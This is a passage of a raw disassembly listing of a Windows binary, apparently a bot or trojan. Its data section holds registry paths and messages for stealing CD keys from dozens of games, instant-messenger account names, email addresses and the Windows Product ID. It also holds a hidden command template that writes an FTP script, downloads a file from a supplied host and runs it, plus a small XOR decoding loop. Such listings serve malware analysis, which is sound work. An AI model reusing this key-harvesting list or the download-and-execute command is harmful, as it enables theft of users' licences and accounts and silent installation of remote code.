4 aCdup db 'CDUP',0 ; DATA XREF: ___:0042E2A7o align 4 aRmdS db 'RMD %s',0 ; DATA XREF: ___:0042E2FEo align 4 off_4456BC dd offset aInterlockedcom ; DATA XREF: ___:0042E35Do ; "InterlockedCompareExchange" aLocalfileWrite db 'localfile write',0 ; DATA XREF: sub_42E400:loc_42E581o dd 0 aShortWritePass db 'short write: passed %d, wrote %d',0Ah,0 ; DATA XREF: sub_42E400+125o align 4 dd 0 word_4456FC dw 77h ; DATA XREF: sub_42E400+1Fr align 10h dword_445700 dd 25206425h, 64hdword_445708 dd 455A4953h, 732520h, 0dword_445714 dd 4D54444Dh, 732520h, 0dword_445720 dd 4F544E52h, 732520h, 0dword_44572C dd 52464E52h, 732520h, 0dword_445738 dd 454C4544h, 732520h, 0aQuit db 'QUIT',0 ; DATA XREF: sub_42EA40+10o align 4 dword_44574C dd 1 ; sub_430460+1Fw ... aInterlockedcom db 'InterlockedCompareExchange',0 ; DATA XREF: sub_431280+13o ; ___:off_4456BCo align 10h aKernel32_dll db 'KERNEL32.DLL',0 ; DATA XREF: sub_431280+6o align 10h aA: ; DATA XREF: sub_433A20+36o unicode 0, <─>,0 dd 13h dup(0) dd offset aBattlefield194 ; "[Battlefield 1942: " dd 80000002h, 4468A4h, 446F70h, 446870h, 80000002h, 446810h dd 446F70h, 4467E0h, 80000002h, 446788h, 446F70h, 446764h dd 80000002h, 44671Ch, 446F70h, 446704h, 80000002h, 4466C0h dd 446F70h, 446698h, 80000002h, 44665Ch, 446F70h, 446628h dd 80000002h, 4465C8h, 446F70h, 44659Ch, 80000002h, 446578h dd 446570h, 446544h, 80000002h, 44651Ch, 446570h, 446504h dd 80000001h, 4464D4h, 4464D0h, 4464C0h, 80000002h, 446484h dd 446F70h, 446474h, 80000002h, 446438h, 446F70h, 446424h dd 80000002h, 4463DCh, 446F70h, 4463C0h, 80000002h, 44637Ch dd 446F70h, 446360h, 80000001h, 446338h, 4464D0h, 446328h dd 80000001h, 446300h, 4464D0h, 4462E0h, 80000002h, 4462A4h dd 4462A0h, 446284h, 80000002h, 446260h, 446258h, 446240h dd 80000001h, 446214h, 44620Ch, 4461E8h, 80000002h, 44619Ch dd 446F70h, 446174h, 80000002h, 446120h, 446F70h, 4460E8h dd 80000002h, 446084h, 446F70h, 446050h, 80000002h, 445FF0h dd 446F70h, 445FD4h, 80000002h, 445F8Ch, 446F70h, 445F70h dd 80000002h, 445F28h, 446F70h, 445F18h, 80000002h, 445EDCh dd 446F70h, 445ECCh, 80000002h, 445E90h, 446F70h, 445E68h dd 80000002h, 445E14h, 446F70h, 445DECh, 80000002h, 445D9Ch dd 446F70h, 445D80h, 80000002h, 445D58h, 4464D0h, 445D44h dd 80000002h, 445D0Ch, 446F70h, 445CDCh, 80000002h, 445C84h dd 446F70h, 445C68h, 80000001h, 445C18h, 445C10h, 445BF4h dd 80000002h, 445BB0h, 445BA4h, 445B8Ch, 80000001h, 445B5Ch dd 445B50h, 445B30h, 80000002h, 445AF4h, 445C10h, 445AD4h dd 80000002h, 445A98h, 445C10h, 1Eh dup(0) aSoftwareUnreal db 'SOFTWARE\Unreal Technology\Installed Apps\UT2004',0 align 4 dd 2 dup(0) aUnrealTourname db '[Unreal Tournament 2004: ',0 align 10h dd 0 aSoftwareUnre_0 db 'SOFTWARE\Unreal Technology\Installed Apps\UT2003',0 align 10h aUnrealTourna_0 db '[Unreal Tournament 2003: ',0 align 10h aRegnumber db 'RegNumber',0 align 4 aSoftwareEugenS db 'Software\Eugen Systems\The Gladiators',0 align 4 dd 2 dup(0) aTheGladiators db '[The Gladiators: ',0 align 10h dd 0 aSof2key db 'sof2key',0 align 10h aSoftwareActivi db 'Software\Activision\Soldier of Fortune II - Double Helix',0 align 4 dd 2 dup(0) aSoldierOfFortu db '[Soldier Of Fortune 2: ',0 align 10h aCdkey db 'CDKey',0 align 4 aSoftwareSilver db 'Software\Silver Style Entertainment\Soldiers Of Anarchy\Settings',0 align 4 dd 3 dup(0) aSoldiersOfAnar db '[Soldiers Of Anarchy: ',0 align 10h dd 0 aSoftwareElectr db 'SOFTWARE\Electronic Arts\EA GAMES\Shogun Total War - Warlord Edit' db 'ion\ergc',0 align 10h dd 3 dup(0) aShogunTotalWar db '[Shogun: Total War: Warlord Edition: ',0 align 4 dd 2 dup(0) aSoftwareRedSto db 'SOFTWARE\Red Storm Entertainment\RAVENSHIELD',0 align 4 dd 2 dup(0) dd 7661525Bh, 68736E65h, 646C6569h, 203Ah, 0 aSoftwareBiowar db 'Software\BioWare\NWN\Neverwinter',0 align 10h aNeverwinterNig db '[Neverwinter Nights: ',0 align 4 dd 0 aSoftwareElec_0 db 'SOFTWARE\Electronic Arts\EA GAMES\Need For Speed Underground\ergc' db 0 align 10h dd 3 dup(0) aNeedForSpeedUn db '[Need For Speed: Underground: ',0 align 4 dd 2 dup(0) aSoftwareElec_1 db 'SOFTWARE\Electronic Arts\EA GAMES\Need For Speed Hot Pursuit 2\er' db 'gc',0 dd 4 dup(0) aNeedForSpeedHo db '[Need For Speed: Hot Pursuit 2: ',0 align 10h aSoftwareElec_2 db 'SOFTWARE\Electronic Arts\EA Sports\NHL 2003\ergc',0 align 4 dd 2 dup(0) dd 4C484E5Bh, 30303220h, 203A33h, 0 aSoftwareElec_3 db 'SOFTWARE\Electronic Arts\EA Sports\NHL 2002\ergc',0 align 10h dd 2 dup(0) dd 4C484E5Bh, 30303220h, 203A32h, 0 aSoftwareElec_4 db 'SOFTWARE\Electronic Arts\EA Sports\Nascar Racing 2003\ergc',0 align 10h aNascarRacing20 db '[Nascar Racing 2003: ',0 align 4 dd 0 aSoftwareElec_5 db 'SOFTWARE\Electronic Arts\EA Sports\Nascar Racing 2002\ergc',0 align 4 dd 3 dup(0) aNascarRacing_0 db '[Nascar Racing 2002: ',0 align 10h aSoftwareElec_6 db 'SOFTWARE\Electronic Arts\EA GAMES\Medal of Honor Allied Assault S' db 'pearhead\ergc',0 align 10h dd 4 dup(0) aMedalOfHonorAl db '[Medal of Honor: Allied Assault: Spearhead ',0 dd 2 dup(0) aSoftwareElec_7 db 'SOFTWARE\Electronic Arts\EA GAMES\Medal of Honor Allied Assault B' db 'reakthrough\ergc',0 align 4 dd 4 dup(0) aMedalOfHonor_0 db '[Medal of Honor: Allied Assault: Breakthrough ',0 align 10h aSoftwareElec_8 db 'SOFTWARE\Electronic Arts\EA GAMES\Medal of Honor Allied Assault\e' db 'rgc',0 align 4 dd 3 dup(0) aMedalOfHonor_1 db '[Medal of Honor: Allied Assault: ',0 align 4 dd 0 aSoftwareElec_9 db 'SOFTWARE\Electronic Arts\EA GAMES\James Bond 007 Nightfire\ergc',0 dd 3 dup(0) aJamesBond007Ni db '[James Bond 007: Nightfire: ',0 align 4 dd 0 aPrvkey db 'prvkey',0 align 4 aSoftwareJowood db 'Software\JoWooD\InstalledGames\IG2',0 align 10h aIndustryGiant2 db '[Industry Giant 2: ',0 align 8 aCdkey_0 db 'CDkey',0 align 10h aSoftwareIgi2Re db 'SOFTWARE\IGI 2 Retail\CDKey',0 dd 2 dup(0) aIgi2CovertStri db '[IGI2: Covert Strike: ',0 align 10h aKey db 'key',0 aSoftwareIllusi db 'SOFTWARE\Illusion Softworks\Hidden & Dangerous 2',0 align 10h aHiddenAndDange db '[Hidden and Dangerous 2: ',0 align 10h aSoftwareValveH db 'Software\Valve\Half-Life\Settings',0 align 8 aHalfLife db '[Half-Life: ',0 align 4 aSoftwareValveG db 'Software\Valve\Gunman\Settings',0 align 10h aGunmanChronicl db '[Gunman Chronicles: ',0 align 4 dd 0 aSoftwareEle_10 db 'SOFTWARE\Electronic Arts\EA GAMES\Global Operations\ergc',0 align 10h aGlobalOperatio db '[Global Operations: ',0 align 4 dd 0 aSoftwareEle_11 db 'SOFTWARE\Electronic Arts\EA Distribution\Freedom Force\ergc',0 dd 3 dup(0) aFreedomForce db '[Freedom Force: ',0 align 4 aSoftwareEle_12 db 'SOFTWARE\Electronic Arts\EA Sports\FIFA 2003\ergc',0 align 4 dd 2 dup(0) dd 4649465Bh, 30322041h, 203A3330h, 0 aSoftwareEle_13 db 'SOFTWARE\Electronic Arts\EA Sports\FIFA 2002\ergc',0 align 10h aFifa2002 db '[FIFA 2002: ',0 align 10h aKey_0 db 'Key',0 aSoftwareValveC db 'Software\Valve\CounterStrike\Settings',0 align 4 dd 2 dup(0) aCounterStrike db '[Counter-Strike: ',0 align 4 dd 0 aSoftwareWestwo db 'SOFTWARE\Westwood\Tiberian Sun',0 align 4 dd 2 dup(0) aCommandAndConq db '[Command and Conquer: Tiberian Sun: ',0 align 10h aSerial db 'Serial',0 align 4 aSoftwareWest_0 db 'SOFTWARE\Westwood\Red Alert 2',0 align 4 dd 0 aCommandAndCo_0 db '[Command and Conquer: Red Alert2: ',0 align 10h dd 2 dup(0) aSoftwareEle_14 db 'SOFTWARE\Electronic Arts\EA GAMES\Command and Conquer Generals Ze' db 'ro Hour\ergc',0 align 4 dd 4 dup(0) aCommandAndCo_1 db '[Command and Conquer: Generals: Zero Hour: ',0 dd 2 dup(0) aSoftwareEle_15 db 'SOFTWARE\Electronic Arts\EA GAMES\Generals\ergc',0 dd 3 dup(0) aCommandAndCo_2 db '[Command and Conquer: Generals: ',0 align 10h aSoftwareEle_16 db 'SOFTWARE\Electronic Arts\EA GAMES\Black and White\ergc',0 align 4 dd 3 dup(0) aBlackAndWhite db '[Black and White: ',0 align 4 dd 0 aSoftwareEle_17 db 'SOFTWARE\Electronic Arts\EA GAMES\Battlefield Vietnam\ergc',0 align 4 dd 3 dup(0) aBattlefield1_0 db '[Battlefield 1942: Vietnam:',0 dd 2 dup(0) aSoftwareEle_18 db 'SOFTWARE\Electronic Arts\EA GAMES\Battlefield 1942 The Road to Ro' db 'me\ergc',0 align 10h aBattlefield1_1 db '[Battlefield 1942: The Road To Rome: ',0 align 10h aSoftwareEle_19 db 'SOFTWARE\Electronic Arts\EA GAMES\Battlefield 1942 Secret Weapons' db ' of WWII\ergc',0 align 10h dd 4 dup(0) aBattlefield1_2 db '[Battlefield 1942: Secret Weapons Of WWII: ',0 dd 2 dup(0) db 53h aOftwareElectro db 'OFTWARE\Electronic Arts\EA GAMES\Battlefield 1942\ergc',0 dd 3 dup(0) aBattlefield194 db '[Battlefield 1942: ',0 ; DATA XREF: ___:004457D0o align 10h aYahooS db 'yahoo: %s',0 ; DATA XREF: ___:00434FBAo align 4 aYahooUserId db 'Yahoo! User ID',0 ; DATA XREF: ___:00434F7Eo align 10h aSoftwareYahooP db 'Software\Yahoo\Pager',0 ; DATA XREF: ___:00434F40o align 4 dd 0 dword_44693C dd 3A6D6961h, 732520h, 0dword_446948 dd 65726353h, 4E206E65h, 656D61h, 0aSoftwareAmeric db 'Software\America Online\AOL Instant Messenger (TM)\CurrentVersion' ; DATA XREF: ___:00434E82o db '\Login',0 dd 4 dup(0) aFoundCodCdkeyS db 'Found COD CDKey (%s).',0 align 4 dd 0 aTsh3xswtypwguu db 'TSH3XSWTYPWGUUTXE660',0 align 8 aSMainS db '%s\main\%s',0 align 8 aCodkey db 'codkey',0 align 10h aSoftwareActi_0 db 'Software\Activision\Call of Duty',0 align 8 aFoundSof2Cdkey db 'Found SOF2 CDKey (%s).',0 align 10h dd 0 aMtkwftmkemfew3 db 'mtkwftmkemfew3p3b7',0 align 4 dd 0 dd 625C7325h, 5C657361h, 255C706Dh, 73h aInstallpath db 'InstallPath',0 dd 0 dword_446A7C dd 3A6E736Dh, 732520h, 0dword_446A88 dd 6F6C6C41h, 642577h, 0aSoftwareMicr_2 db 'Software\Microsoft\MessengerService\ListCache\.NET Messenger Serv' ; DATA XREF: ___:00435447o db 'ice',0 align 4 dd 3 dup(0) aFoundEmailS_ db 'Found EMail (%s).',0 ; DATA XREF: ___:004353ECo align 10h aSoftwareMicr_1 db 'Software\Microsoft\WAB\WAB4\Wab File Name',0 ; DATA XREF: ___:004352BEo align 4 dd 2 dup(0) aFoundWindowsPr db 'Found Windows Product ID (%s).',0 ; DATA XREF: sub_4356F0+546o align 4 dd 2 dup(0) aProductid db 'ProductId',0 ; DATA XREF: sub_4356F0+52Bo align 4 aSoftwareMicr_0 db 'Software\Microsoft\Windows\CurrentVersion',0 ; DATA XREF: sub_4356F0+4FEo align 4 dd 2 dup(0) aHkuS db 'HKU: %s',0 ; DATA XREF: sub_4356F0+4A4o align 8 aHkcrS db 'HKCR: %s',0 ; DATA XREF: sub_4356F0+3BBo align 4 loc_446BB4: ; DATA XREF: sub_4356F0+2D3o dec eax dec ebx inc ebx inc ebx cmp ah, [eax] and eax, 73h loc_446BBF: ; DATA XREF: sub_4356F0+1EBo add [eax+4Bh], cl dec esp dec ebp cmp ah, [eax] and eax, 73h loc_446BCB: ; DATA XREF: sub_4356F0+103o add [eax+4Bh], cl inc ebx push ebp cmp ah, [eax] and eax, 73h loc_446BD7: ; DATA XREF: ___:00435EB6o ; ___:00436110o ... add bl, ch add ch, bl add eax, 0FFFFF9E8h call fword ptr [ebx+31h] leave mov cx, 0FFFFh loc_446BE8: ; CODE XREF: ___:00446BEDj xor byte ptr [ebx+0Eh], 0FFh inc ebx loop loc_446BE8 ; --------------------------------------------------------------------------- db 0 dd 0 aStartMinCmd_ex db 'start /min cmd.exe /c "echo open %s %d > bla.txt && echo user %s ' ; DATA XREF: ___:0043633Bo db '%s >> bla.txt && echo binary >> bla.txt && echo get %s >> bla.txt' db ' && echo quit >> bla.txt && ftp.exe -n -s:bla.txt && %s"',0Ah,0 dd 0Ch dup(0) off_446CE0 dd offset off_43E1D4 ; DATA XREF: ___:off_43E318o ; ___:0043E354o align 8 a_?avtype_info@ db '.?AVtype_info@@',0 align 10h dd 1, 9Bh dup(0) byte_446F70 db 0 ; DATA XREF: sub_4034E0+95o ; sub_404640+200o ... align 4 dword_446F74 dd 0 ; sub_4245F0+11o ... dword_446F78 dd 0 ; resolved to->KERNEL32.Process32Next ; ___:0040D3DFr ... align 10h dword_446F80 dd 0 ; ___:0040D345w ... dd 8 dup(0) dword_446FA4 dd 41h dup(0) ; ___:0040D380o ... dword_4470A8 dd 0 ; ___:loc_40D3D4r ... dword_4470AC dd 0 ; resolved to->KERNEL32.Process32First ; ___:0040D34Fr ... dword_4470B0 dd 0 ; resolved to->KERNEL32.CreateToolhelp32Snapshot ; sub_40D580+CAw dword_4470B4 dd 0 ; sub_40D580+E3r dd 11h dup(0) dword_4470FC dd 0 ; sub_40FF60+47Dr dword_447100 dd 0 ; sub_40FF60+515r ... dword_447104 dd 0 ; sub_40FF60+655r ... dword_447108 dd 0 ; sub_40FF60+B79r ... dword_44710C dd 0 ; sub_40FF60+74Br dword_447110 dd 0 ; sub_40FF60+828r dword_447114 dd 0 ; sub_40FF60+77Cr dword_447118 dd 0 ; sub_40FF60+4DDr ... dword_44711C dd 0 ; sub_40FF60+311r dword_447120 dd 0 ; sub_40FF60+34Dr ... dword_447124 dd 0 ; sub_40FF60+33Dr dword_447128 dd 0 ; sub_40FF60+3D2r dword_44712C dd 0 ; sub_40FF60+E93r dword_447130 dd 0 ; sub_40FF60+1220r ... dword_447134 dd 0 ; sub_411FE0+4DAr dword_447138 dd 0 ; sub_40FF60+683r dword_44713C dd 0 ; sub_40FF60+6B5r dword_447140 dd 0 ; sub_40FF60+1252r dd 5 dup(0) dword_447158 dd 10h dup(0) ; ___:0040405Fo ... db 2 dup(0) byte_44719A db 0 ; DATA XREF: sub_409A30r sub_409AA0r align 4 db 3 dup(0) byte_44719F db 0 ; DATA XREF: sub_40D580+10Fr db 0 byte_4471A1 db 0 ; DATA XREF: sub_40DB10r word_4471A2 dw 0 ; DATA XREF: sub_40DB10+9o dd 44h dup(0) db 3 dup(0) byte_4472B7 db 0 ; DATA XREF: ___:00412ECAo ; ___:00412F7Fo ... db 3 dup(0) byte_4472BB db 0 ; DATA XREF: sub_41F860:loc_41F89Dr align 10h dword_4472C0 dd 12h dup(0) ; sub_40FF60+114o db 0 byte_447309 db 3 dup(0) ; DATA XREF: ___:00408ADEo ; sub_40FF60+159o ... dd 11h dup(0) db 2 dup(0) word_447352 dw 0 ; DATA XREF: ___:00408AB5o ; sub_40FF60+132o dd 6 dup(0) word_44736C dw 0 ; DATA XREF: sub_40FF60+1E1r align 10h dd 0Ah dup(0) db 3 dup(0) byte_44739B db 0 ; DATA XREF: ___:00408B07o ; sub_40FF60+17Co ... dd 12h dup(0) dword_4473E4 dd 12h dup(0) ; sub_40FF60+F7o ... db 0 byte_44742D db 3 dup(0) ; DATA XREF: ___:00408A40o ; sub_40FF60+D0o ... dd 23h dup(0) db 3 dup(0) byte_4474BF db 0 ; DATA XREF: ___:00408B30o ; sub_40FF60+19Ao dd 24h dup(0) db 0 byte_447551 db 3 dup(0) ; DATA XREF: sub_425020+2Bo ; sub_425020+37o dd 11h dup(0) db 2 dup(0) word_44759A dw 0 ; DATA XREF: ___:00412E9Ao ; ___:00412EB9o ... dd 3Ch dup(0) db 3 dup(0) dword_44768F dd 0 ; sub_41EF30+154r ... align 4 dd 35h dup(0) db 0 byte_447769 db 0 ; DATA XREF: sub_41B950+18r align 4 dd 36h dup(0) byte_447844 db 0 ; DATA XREF: sub_40FF60+842r align 4 dd 0Bh dup(0) dword_447874 dd 18h dup(0) ; sub_40ED70+97o ... db 2 dup(0) byte_4478D6 db 0 ; DATA XREF: sub_404C70+258r ; sub_41D830+671r align 4 dd 11h dup(0) db 3 dup(0) byte_44791F db 0 ; DATA XREF: sub_404C70:loc_404EE0r ; sub_41D830:loc_41DEB9r dd 0Bh dup(0) db 3 dup(0) byte_44794F db 0 ; DATA XREF: sub_404C70+279o ; sub_41D830+692o ... dd 12h dup(0) dword_447998 dd 2Bh dup(0) ; sub_41EF30+630o ... dword_447A44 dd 0 dd 11h dup(0) db 0 dword_447A8D dd 0 align 4 dd 0D9h dup(0) byte_447DF8 db 0 ; DATA XREF: sub_41EF30+146r ; sub_41EF30+5EEr align 4 dd 3A8h dup(0) db 2 dup(0) word_448C9E dw 0 ; DATA XREF: sub_404640+1BDo ; sub_404B10+31o ... db 2 dup(0) word_448CA2 dw 0 ; DATA XREF: sub_404B10+4o dd 1Ch dup(0) db 2 dup(0) word_448D16 dw 0 ; DATA XREF: sub_407660+36o ; sub_4076F0+3Eo ... dd 26h dup(0) dword_448DB0 dd 86h dup(0) ; sub_404C70+27Eo ... db 3 dup(0) byte_448FCB db 0 ; DATA XREF: sub_425640+3Bw ; sub_4256B0+7Ew ... dd 7Fh dup(0) db 3 dup(0) dword_4491CB dd 0 ; sub_4256B0+4Fw ... dword_4491CF dd 0 ; ___:004240BDw ... dword_4491D3 dd 0 ; sub_4256B0+5Dr ... dword_4491D7 dd 0 ; sub_4256B0+8Cr ... dword_4491DB dd 0 ; sub_4256B0+9Dr dword_4491DF dd 0 ; ___:004240F1r ... byte_4491E3 db 0 ; DATA XREF: sub_425640+42w ; sub_4256B0+85w dd 5BEh dup(0) db 3 dup(0) byte_44A8DF db 0 ; DATA XREF: sub_58F3BC-B34Eo dword_44A8E0 dd 2A59h dup(0) db 3 dup(0) byte_455247 db 0 ; DATA XREF: ___:off_444F40o dword_455248 dd 0EB85h dup(0) dword_49005C dd 0B0A3h dup(0) db 0 byte_4BC2E9 db 3 dup(0) ; DATA XREF: ___:off_402009o dd 6058h dup(0) db 0 byte_4D444D db 3 dup(0) ; DATA XREF: ___:off_44433Co dd 6DEh dup(0) db 3 dup(0) dword_4D5FCB dd 0 ; sub_4258E0+13o align 10h dd 39h dup(0) db 0 byte_4D60B5 db 3 dup(0) ; DATA XREF: sub_404C20+1Eo ; sub_404C70+65o ... dd 5 dup(0) byte_4D60CC db 0 ; DATA XREF: sub_404C70+292w ; sub_404C70+4EEw dword_4D60CD dd 0 ; sub_422A40:loc_4231C4r ... align 4 dd 0 db 0 dword_4D60D9 dd 0 ; sub_404C20+2Aw byte_4D60DD db 3 dup(0) ; DATA XREF: ___:00412EF4o ; ___:00412F17o dd 9 dup(0) db 3 dup(0) dword_4D6107 dd 0 ; sub_427AD0:loc_427BC7r align 4 dd 2Fh dup(0) db 3 dup(0) byte_4D61CB db 0 ; DATA XREF: sub_425870+16o ; sub_4258A0+19o db 3 dup(0) byte_4D61CF db 0 ; DATA XREF: sub_4257A0+4Co dd 6Fh dup(0) db 3 dup(0) byte_4D638F db 0 ; DATA XREF: ___:004081C6o ; ___:00408657o ... dd 8 dup(0) dword_4D63B0 dd 0 dd 51h dup(0) db 0 byte_4D64F9 db 0 ; DATA XREF: sub_426820:loc_4268D0r ; sub_426CE0:loc_426D95r ... align 4 dd 9Eh dup(0) db 0 dword_4D6775 dd 0 ; sub_426CE0+7Dw ... align 4 dd 4Ah dup(0) db 0 byte_4D68A5 db 3 dup(0) ; DATA XREF: sub_585452+86B3o dd 1E8Fh dup(0) db 0 byte_4DE2E5 db 3 dup(0) ; DATA XREF: ___:00419E93o ; sub_419F50+13o dd 1EB9h dup(0) db 3 dup(0) byte_4E5DCF db 0 ; DATA XREF: sub_426A60+1Do dd 21h dup(0) db 0 byte_4E5E55 db 3 dup(0) ; DATA XREF: ___:00419EA3o dd 235h dup(0) db 3 dup(0) byte_4E672F db 0 ; DATA XREF: sub_426A60+2Fo dd 1D5h dup(0) byte_4E6E84 db 0 ; DATA XREF: sub_404C70+299w ; sub_40FF60:loc_40FFA2r ... byte_4E6E85 db 3 dup(0) ; DATA XREF: sub_404C70+235o ; sub_404C70+87Ao ... dd 4 dup(0) db 2 dup(0) word_4E6E9A dw 0 ; DATA XREF: sub_404C70+2D4o ; ___:0040866Bo ... dd 0Fh dup(0) db 0 byte_4E6ED9 db 0 ; DATA XREF: sub_41F860+31w ; sub_41F860+47w ... db 0 byte_4E6EDB db 0 ; DATA XREF: sub_418490+21o ; sub_41D830+341o ... dd 751Eh dup(0) dword_504354 dd 0AC6h dup(0) dword_506E6C dd 1000h dup(0) ; ___:00419A9Do ... dword_50AE6C dd 333h dup(0) ; ___:00419AB8o ... dword_50BB38 dd 0 ; sub_41A010+1Br ... dd 3 dup(0) dword_50BB48 dd 0 ; ___:0041FB3Dw ... dword_50BB4C dd 0 ; sub_41FA90+2Aw ... dword_50BB50 dd 0 dword_50BB54 dd 0 ; ___:0041FB5Bw dword_50BB58 dd 0 dword_50BB5C dd 0 ; ___:0041FB67w ... dword_50BB60 dd 0 ; ___:0041FB6Dw ... dword_50BB64 dd 0 ; ___:00420DA9o dword_50BB68 dd 0 ; sub_41FA90:loc_41FAB4r ... dword_50BB6C dd 0 ; ___:0041FB81w dword_50BB70 dd 0 ; sub_420530+41w ... dword_50BB74 dd 0 ; sub_420530+7Fr dword_50BB78 dd 0 ; sub_420530+92r ... dword_50BB7C dd 0 ; sub_420530+148r dd 3 dup(0) dword_50BB8C dd 0 ; ___:0041C1A5o dword_50BB90 dd 0 ; sub_423720+5r ... dword_50BB94 dd 0 ; ___:00423EB1r ... dd 7CEh dup(0) dword_50DAD0 dd 6 dup(0) ; ___:00423DB2o ... dword_50DAE8 dd 196h dup(0) ; sub_423660+6Do dword_50E140 dd 0 word_50E144 dw 0 ; DATA XREF: sub_424E90+A9r align 4 byte_50E148 db 0 ; DATA XREF: sub_4254E0:loc_425540r ; sub_4254E0+97w align 4 dword_50E14C dd 0 ; resolved to->IPHLPAPI.IcmpSendEcho ; sub_426820+D9r dword_50E150 dd 0 ; resolved to->IPHLPAPI.IcmpCreateFile ; sub_426820+45r dword_50E154 dd 0 ; resolved to->IPHLPAPI.IcmpCloseHandle ; sub_426820+54r ... dd 0 dword_50E15C dd 80h dup(0) ; sub_426A60+129o dword_50E35C dd 0 dword_50E360 dd 0 dd 1Dh dup(0) dword_50E3D8 dd 0 ; ___:0042B11Dr ... dword_50E3DC dd 0 ; sub_42CB10:loc_42CBA6r ... dword_50E3E0 dd 0 ; resolved to->WS2_32.connect ; sub_431280+2Dr ... dword_50E3E4 dd 0 dword_50E3E8 dd 0 ; sub_430270r ... dword_50E3EC dd 0 dword_50E3F0 dd 0 ; sub_42F6B0+111w ... dword_50E3F4 dd 0 ; sub_42F6B0+F6r ... dword_50E3F8 dd 0 ; ___:loc_4303B0r dword_50E3FC dd 0 ; resolved to->KERNEL32.InterlockedCompareExchange ; sub_430FE0+2Cr ... dd 2 dup(0) dd 0 dd 13Dh dup(0) dword_50E900 dd 10h dup(0) ; sub_430180:loc_4301B0o ... dword_50E940 dd 8 dup(0) ; sub_42F540+25o ... dword_50E960 dd 8 dup(0) ; sub_430690+25o ... dword_50E980 dd 8 dup(0) ; sub_431560+84o ... dword_50E9A0 dd 8 dup(0) ; sub_431560+8Bo ... dword_50E9C0 dd 9 dup(0) ; sub_42F6B0:loc_42F7C7o ... dd 0FFFFFFFFh, 3 dup(0) dd 0FFFFFFFFh, 182h dup(0) dd 5 dup(68899C8h), 5 dup(5E5E9809h), 5 dup(30DDB90Dh) dd 5 dup(612EB6F6h), 5 dup(4913E5BEh), 5 dup(41A5EC5Fh) dd 5 dup(61A98A7Ch), 5 dup(4AA86ABh), 5 dup(563C5E04h) dd 5 dup(7915C306h), 5 dup(517A6FE4h), 1Eh dup(0) dd 41A5EC5Fh, 10h dup(0) dd 517A6FE4h, 58h dup(0) dd 612EB6F6h, 1Bh dup(0) dd 563C5E04h, 14h dup(0) dd 5E5E9809h, 52h dup(0) dd 68899C8h, 1Bh dup(0) ; --------------------------------------------------------------------------- push es retn ; --------------------------------------------------------------------------- dw 7915h dd 0Bh dup(0) dd 61A98A7Ch, 0Ch dup(0) dd 4913E5BEh, 2Bh dup(0) dd 4AA86ABh, 11h dup(0) dd 30DDB90Dh, 0Ah dup(0) dd 28C06A0h, 28D0000h, 28E0000h dword_50F710 dd 28E1533h dd 28E16DBh dword_50F718 dd 28E1945h dd 28E1C4Ch, 28F0000h dword_50F724 dd 2900000h dd 2910000h, 29103C3h, 291074Fh, 2910B7Eh dword_50F738 dd 2920000h ; sub_40E7A0+25Ar ... dword_50F73C dd 2920708h dword_50F740 dd 2920908h dd 2920AF1h, 2930000h dword_50F74C dd 29303B4h ; sub_40ED70+15Er ... dd 293060Dh dword_50F754 dd 2940000h ; sub_40E7A0+22Cr dd 2950000h dword_50F75C dd 2960000h ; sub_4207E0+285r ... dd 2970000h dword_50F764 dd 2971208h ; sub_40E7A0+24Cr dd 10h dup(0) dd 76F36C5Bh, 0Bh dup(0) dd 2710000h, 271012Ah, 2720000h, 2720640h, 27207EDh, 2720B04h dd 2720C82h, 2730000h, 273068Fh, 2730A63h, 2730D2Bh, 2740000h dd 2740627h, 274068Ah, 2740981h, 2750000h, 27503B6h, 2750758h dd 27508C9h, 2750C56h, 2760000h, 2760595h, 2760611h, 2760944h dd 2760B3Eh, 2760CDEh, 2770000h, 27702B4h, 277044Ch, 277051Fh dd 27706C3h, 277074Fh dword_50F858 dd 2780000h dword_50F85C dd 27806E9h dword_50F860 dd 278088Eh dd 7C901005h, 7C9010EDh, 2780A72h dd 2780ABAh dword_50F874 dd 2790000h ; sub_420530+FEr ; --------------------------------------------------------------------------- add byte ptr [esi], 79h add al, [eax] add [edx+2], bh retf 7A02h ; --------------------------------------------------------------------------- db 2 dd 27A069Bh, 27B0000h, 27C0000h, 27C0896h, 27D0000h, 27E0000h dd 27E0865h dword_50F8A0 dd 27F0000h ; sub_420530:loc_42057Cr ... dword_50F8A4 dd 27F0769h ; sub_40FF60+47r ... dd 27F0883h, 27F0A13h, 2800000h, 2810000h, 2820000h, 2830000h dd 2840000h dword_50F8C4 dd 2841888h dd 2841A92h, 2850000h dword_50F8D0 dd 2850303h ; sub_41B4B0+2Fr ... dd 2850431h dword_50F8D8 dd 2860000h ; sub_4203D0+2Er ... dd 2860414h, 2870000h, 2870BEAh dword_50F8E8 dd 2880000h dd 2880273h, 2890000h, 28A0000h, 28A1050h, 28A1C3Ah, 28B0000h dd 28B0734h, 28B0CF3h dd 28C0000h dd 1Ah dup(0) dd 71B2578Ch, 71B25099h, 0Bh dup(0) dword_50F9AC dd 760AC190h dd 76085AE4h, 760976AFh, 7608B84Ch, 76081F67h, 760A0430h dd 7608F485h, 7609202Eh, 760A044Fh, 760A036Bh, 0Dh dup(0) dd 77C4EE2Fh, 77C35C94h, 77C3537Ch, 77C1F1DBh, 77C1F1A4h dd 77C623D8h, 77C4D675h, 77C227FAh, 77C1EEEBh, 77C617ACh dd 77C32DAEh, 77C39E9Ah, 77C34DF8h, 77C34E51h, 77C21868h dd 77C40BB1h, 77C36D74h, 77C3619Ch, 77C49113h, 77C3A307h dd 77C3A3DBh, 77C4186Ah dword_50FA60 dd 77C3F931h ; resolved to->MSVCRT.sprintf ; sub_42D2C0+53r ... dword_50FA64 dd 77C1F2BCh ; resolved to->MSVCRT._errno dd 77C371FAh, 77C36DF2h, 77C39D67h, 77C1C561h dword_50FA78 dd 77C5F988h ; resolved to->MSVCRT._pctype; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- db 0C0h, 0C2h, 77h dword_50FA80 dd 77C40E13h ; resolved to->MSVCRT.fprintfdword_50FA84 dd 77C5FC80h ; resolved to->MSVCRT._iob ; sub_42CB10+4Ar ... ; --------------------------------------------------------------------------- imul dh retn ; --------------------------------------------------------------------------- db 77h dd 77C41B72h dword_50FA90 dd 77C47BE0h ; resolved to->MSVCRT.strrchrdword_50FA94 dd 77C4173Bh ; resolved to->MSVCRT.fwritedword_50FA98 dd 77C4139Ch ; resolved to->MSVCRT.fseekdword_50FA9C dd 77C4624Eh ; resolved to->MSVCRT._stricmpdword_50FAA0 dd 77C41574h ; resolved to->MSVCRT.ftelldword_50FAA4 dd 77C411FBh ; resolved to->MSVCRT.fread dd 77C40E76h dword_50FAAC dd 77C47E61h ; resolved to->MSVCRT.wcscat ; 